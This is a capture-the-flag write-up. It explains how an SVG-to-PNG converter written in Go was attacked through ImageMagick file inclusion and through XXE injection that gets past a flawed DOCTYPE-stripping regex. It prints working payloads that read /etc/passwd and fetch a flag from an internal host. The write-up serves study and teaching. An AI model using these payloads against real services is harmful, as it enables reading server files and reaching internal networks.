How on earth do SVGs have so many security vulnerabilities?

The Challenge

Javascript has built-in functionality to convert SVGs to PNGs. But Javascript is slow. You know what’s fast! Golang! I created goober, the world’s first online SVG to PNG converter written in Go.

Alright, so here we have an SVG to PNG converter written in Go. It uses ImageMagick to do the conversion. The website runs on a public server, which is available at There’s also an internal server running at which contains the flag (it’s at So we need to get the flag from the internal server – but we can only submit to the public server! So I guess we’re going to have to make that request using SVGs.


Searching around on the Internet, I found out that SVGs can be used to perform local file inclusion, which is an attack that can get arbitrary local files from a server. That LFI can even be used to read text files by putting text: in front of the file path (thanks ImageMagick!).

<svg height="800px" width="800px">
    <image height="800" width="800" href="text:/etc/passwd" />

And we get a file! LFI of /etc/passwd

Unfortunately, our flag isn’t on the public server – it’s on the private server, and we can’t use this LFI attack to make HTTP requests. So we need to find another way to get the flag.

LFI, but again and also more

Now, there’s another way to get LFI with SVGs – XML external entities. It turns out that with XML files, you can include external files in your file. These entities can also be from HTTP requests, so this is perfect for our purposes. And guess what? The XML parser is set up for this! Check out this line in main.go:

data, err := libxml2.Parse(input, parser.Option(2))

Interesting – what’s parser.Option(2)? Looking online, it turns out that it turns on XML external entity parsing. So we can inject entities, right?

<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "/etc/passwd"> ]>
<svg height="800px" width="800px">
    <text x="0" y="15" font-size="15" fill="red">&xxe;</text>

Well, not so fast. Before data is put into the parser, the DOCTYPE tag is (supposed to be) removed with the following regex:

reg := regexp.MustCompile(`<!DOCTYPE[^>[]*(\[[^]]*\])?>`)
contentSafe := reg.ReplaceAllString(contents, "")

Let’s break this regex down. We start with <!DOCTYPE. Then, any character that isn’t a > or ] is matched. Then, the entity declarations are matched ([, anything, ]), followed by > to close off the DOCTYPE tag.

See the problem? Before entities, we match any characters (extraneous spaces, etc.) – but after the entity declaration? Nothing. So all we have to do is add a space before >:

<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "/etc/passwd"> ] >
<svg height="800px" width="800px">
    <text x="0" y="15" font-size="15" fill="red">&xxe;</text>

And there we go!: LFI of /etc/passwd, again

We can use this same approach to get the flag:

<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://goober-internal:5001/flag"> ] >
<svg height="800px" width="800px">
    <text x="0" y="15" font-size="15" fill="red">&xxe;</text>

Flag image

And there’s our flag: buckeye{wh0_n33ds_4n_htm1_c4n4s}



Nisala is a junior studying Computer Science at Vanderbilt University. Right now, he's working on baseline, an open source journaling and mood tracking app.

Read More